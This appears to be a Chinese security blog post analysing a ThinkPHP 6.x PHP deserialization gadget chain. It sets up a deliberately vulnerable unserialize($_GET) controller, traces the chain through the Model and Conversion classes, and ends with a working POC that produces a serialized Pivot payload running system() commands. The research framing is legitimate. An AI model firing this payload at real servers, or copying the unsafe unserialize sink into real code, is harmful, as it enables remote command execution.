ThinkPHP 6.x反序列化POP链(一)

admin 2022年1月20日01:57:12代码审计评论52 views3198字阅读10分39秒阅读模式

环境准备

安装ThinkPHP 6.0

composer create-project topthink/think=6.0.x-dev v6.0

修改application/index/controller/Index.php Index类的代码

class Index
{
   public function index()
  {
       $payload = unserialize(base64_decode($_GET['payload']));
       return 'ThinkPHP V6.x';
  }
}

开启ThinkPHP6调试

将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true

利用链

thinkModel --> __destruct()
thinkModel --> save()
thinkModel --> updateData()
thinkModel --> checkAllowFields()
thinkModel --> db()
--------此处以下同tp 5.2后半部分利用链--------
thinkmodelconcernConversion --> __toString()
thinkmodelconcernConversion --> __toJson()
thinkmodelconcernConversion --> __toArray()
thinkmodelconcernAttribute --> getAttr()
thinkmodelconcernAttribute --> getValue()

POP链分析复现

__destruct()

首先寻找可利用的__destruct()

vendor/topthink/think-orm/src/Model.php中找到

ThinkPHP 6.x反序列化POP链(一)

lazySave可控,构造lazySave为true,进入save()函数

save()

ThinkPHP 6.x反序列化POP链(一)

updateData()

此处先行提示一下,我们下一步需要利用updateData()方法,所以此处需要构造条件触发

  • $this->isEmpty() == false

    查看$this->isEmpty()代码

    ThinkPHP 6.x反序列化POP链(一)

    使其返回false需要满足$this->data != null

  • $this->trigger(‘BeforeWrite’) === true

    vendor/topthink/think-orm/src/model/concern/ModelEvent.php中查看trigger方法

    ThinkPHP 6.x反序列化POP链(一)

    使其返回true需要满足$this->withEvent === false

  • $this->exists == true

满足条件后进入 updateData()方法,此处只截取利用到的代码

ThinkPHP 6.x反序列化POP链(一)

此处我们要用到 checkAllowFields(),所以需要保证在此之前不会return退出这个方法

  • $this->trigger(‘BeforeUpdate’) == true

  • empty($data) == true

  • $data != null

    $data值来源于getChangedData(),我们在 vendor/topthink/think-orm/src/model/concern/Attribute.php 中找到此方法

    ThinkPHP 6.x反序列化POP链(一)

    出于构造POP链考虑,我们应使$this->force == true,使其直接返回$data,避免返回其他数值或内容影响构造

checkAllowFields()

ThinkPHP 6.x反序列化POP链(一)

此函数中我们需要触发 db() 方法,即需要满足以下条件

  • $field = []

  • $schema = []

db()

$this->connection可控,赋值为”mysql”;name()方法参数完全可控,字符串拼接,触发__toString()

ThinkPHP 6.x反序列化POP链(一)

后面POP链与ThinkPHP5.2相同,需要注意的是,Model为抽象类,不能实例化,我们需要他的子类,和thinkPHP5.2一样我们还是使用Pivot来构造。

__toString()

我们选择 vendor/topthink/think-orm/src/model/concern/Conversion.php 来触发__toString()

ThinkPHP 6.x反序列化POP链(一)

跟进 toJson()

ThinkPHP 6.x反序列化POP链(一)

跟进 toArray()

toArray()

我们只截取关键代码进行分析

ThinkPHP 6.x反序列化POP链(一)

此处我们需要触发 getAttr() 方法,我们分析触发条件

  • $this->hidden[$key] == null,$this->hidden 可控

  • $hasVisible == false ,$hasVisible 默认为false,

注意两个 getAttr() 只能使用第175行的,原因见图

getAttr()

跟进getAttr()

ThinkPHP 6.x反序列化POP链(一)

$key会传入 getData() 方法,跟进 getData()

ThinkPHP 6.x反序列化POP链(一)

跟进 getRealFieldName()

ThinkPHP 6.x反序列化POP链(一)

$this->strict == True 时,直接返回 $name

返回 getData() ,经由上面分析可以得出,通过构造可使 $fieldName = $key ,之后进入if判断逻辑

ThinkPHP 6.x反序列化POP链(一)

此处if条件满足,返回 $fieldNamegetAttr() 中的 $valur

调用的函数getValue(),参数中 $name$this->withAttr的键名,$value 是命令

getValue()

ThinkPHP 6.x反序列化POP链(一)

$this->withAttr[$key]作为函数名动态执行,$value作为参数

如果命令是ipconfig,那么最终执行的就是 system("ipconfig", ["test"=>"ipconfig"])

对于函数system() 的用法,参见php手册https://www.php.net/manual/zh/function.system.php

ThinkPHP 6.x反序列化POP链(一)

POC

<?php
namespace think;
use thinkmodelPivot;
abstract class Model{
private $lazySave = false; # save()
private $exists = false; # updateData()
protected $connection;
protected $name; # __toString() Conversion.php =>Pivot
private $withAttr = []; # assert
protected $hidden = [];
private $data = [];
protected $withEvent = false;
private $force = false;
protected $field = [];
protected $schema = [];

function __construct(){
$this->lazySave = true;
$this->exists = true;
$this->withEvent = false;
$this->force = true;
$this->connection = "mysql";
$this->withAttr = ["test"=>"system"];
$this->data = ["test"=>"ipconfig"];
$this->hidden = ["test"=>"123"];

$this->field = [];
$this->schema = [];
}
}
namespace thinkmodel;
use thinkModel;
# Model 是一个抽象类,我们找到它的继承类,此处选取的是 Pivot 类
class Pivot extends Model{
function __construct($obj=""){
parent::__construct();
$this->name = $obj; # $this->name放子类构造方法中赋值,直接放基类属性中初始化不成功
}
}
$a=new Pivot();
echo base64_encode(serialize(new Pivot($a)));

ThinkPHP 6.x反序列化POP链(一)


长按识别二维码,求关注求点👍

ThinkPHP 6.x反序列化POP链(一)

本文始发于微信公众号(宽字节安全):ThinkPHP 6.x反序列化POP链(一)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月20日01:57:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  ThinkPHP 6.x反序列化POP链(一) http://cn-sec.com/archives/497857.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: